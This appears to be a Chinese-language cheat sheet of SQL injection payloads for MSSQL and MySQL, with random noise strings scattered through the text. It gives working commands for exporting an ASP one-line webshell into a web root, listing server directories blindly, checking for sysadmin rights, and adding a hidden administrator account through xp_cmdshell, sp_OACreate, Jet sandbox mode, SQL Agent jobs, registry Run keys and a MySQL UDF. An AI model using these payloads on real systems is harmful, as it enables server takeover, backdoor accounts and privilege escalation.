MSSQL语句导出一句话木马) [8 G& T5 C: N( [+ E
首先确定网站的WEB路径. Z' G/ N Z/ ?. ?: G! x
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马9 G1 ]: c" a. ?4 l0 P/ F
8 D1 r: c5 C$ F1 W;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
7 ~' J$ t( |% o# x# a- q" ^% z" e' b//将一句话木马插入表中
+ {& F; P w! [
; u0 l( K; c. v- b" q2 U' k;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- - i: w* Q+ ], e3 \
//导出一个ASP文件
1 {: J/ |8 a4 }2 W6 O& V7 d. _4 c6 V+ S# C% w# m, n
X* v' d+ ?6 q! H$ v0 P% }关于MSSQL列目录
' w3 X- }4 R* Y5 K3 Y7 ^;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
! ?: d0 x, H, r: YInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
) C( {) q$ t# [! ] @9 P3 j) n' t4 e& A0 F' G+ I' G
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
' Z' n% d2 b/ k/ k9 Y, O
7 ?* n$ }. `0 C+ A( W& cAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段" k: g i, K2 x+ @! K5 M8 U0 |
9 j1 s) J+ C, u3 E1 o% h1 B
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符/ I8 [1 _* g4 l1 c
' e$ c2 x n5 Z( u4 U0 C& J/ ^0 F4 o- v
数据库版本和权限查看
( y+ ^5 p* Q1 @6 G4 S( k! @( Fand 1=(select @@VERSION) //查看详细的数据库信息.6 U! `8 L5 K( v/ q
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA; h. l' @+ Q( y4 X% K. N7 m9 R
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER: u& ?( y$ _8 N$ u' u
. L+ R7 j! |* A+ {6 l5 G& k" o" r) v5 ~
8 X! F. W6 O/ Y( i f; T- A1.利用xp_cmdshell执行命令
9 h7 |4 R' A3 t; W4 l, ?* xexec master..xp_cmdshell 'net user rfire 123456 /add'
; w- L7 a$ {! i) cexec master..xp_cmdshell 'net localgroup administrators rfire /add', j k7 ~6 Y9 P! E8 ~1 o
, r; h, e( @# C) P7 _
恢复xp_cmdshell存储过程
( U4 _. Z! t8 r$ q! h+ G! aExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
4 a" z! n9 ~! R4 Z7 q2 X! u7 r8 x: @& B9 C
! G3 E) q0 o2 o6 T& i
2.利用SP_OAcreate和SP_OAMETHOD执行命令' v, X3 D f8 o
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
. ^1 _. p+ {4 |( v# rDECLARE @shell INT //建立一个@shell实体& ^% B3 D, q$ w/ h$ A( ]
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
i1 s' a% d3 H# y' ?EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
( `7 U. ^' @& [, L: I6 b0 S: s
# f( f7 l% I/ h2 a4 @
( e3 m3 E' v5 Y9 Z& D- N/ z3.利用沙盒模式& U, p9 y r$ R8 |9 T# A* z
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
& {( p- O3 Z' J) {9 B' L6 @开启沙盒模式:5 I# e" a' q* b$ f
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
- |0 g* ]# R+ ~
8 o! q$ X* ]: \* T& B执行命令:; a9 D$ J$ S& {
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
) I: {# D, a; t( z% q5 r1 ?. Z4 B6 ?2 \- y) J4 L; ]5 D1 [
8 z0 y2 f w0 c9 g, W4.利用SQL代理执行命令) r8 y- o; x5 G1 l% n) P
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
9 k5 S" z& Y# b& p B! X$ I0 M3 Q" {0 z: I9 d. e
执行命令:" P4 p6 @+ | y3 o
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错$ S+ B) L2 y0 R! D; [2 H3 W
exec sp_add_job 'x'
; w0 u; J/ T% A/ \5 X$ i; x fexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
& \( M6 Z9 P: |- P' ~4 ^6 Yexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业 {9 z3 ]& j) [+ E. @
' [2 E, [& S1 o* t- ~
; s% o, p! _$ x/ r5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
. } o, n1 g t0 r; HEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'" j: ?# B2 f7 x) O" Z9 o1 E* M5 W( f
' `& e3 {1 M4 ]
" m/ s. k. D( q& i1 B6 ]. i6.MYSQL的命令执行
0 F8 k% h0 g. w" C, iMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
3 {5 g7 R9 d* N0 U# y! ^6 F. X首先要在su.php下导出c:\windows\udf.dll
) N# O; D& {, }导出后执行创建自定义函数命令:* { C$ D& V) \2 g4 ^7 S
Create Function cmdshell returns string soname 'udf.dll'+ k% K1 J9 t& v
执行命令
/ o" t8 ], H. j9 Jselect cmdshell('net user rfire 123456 /add')% d4 s9 p% v7 D. ^( d! G9 k
执行后删除函数 drop function cmdshell/ Y5 v/ k+ t/ z7 }7 t0 c/ ]
|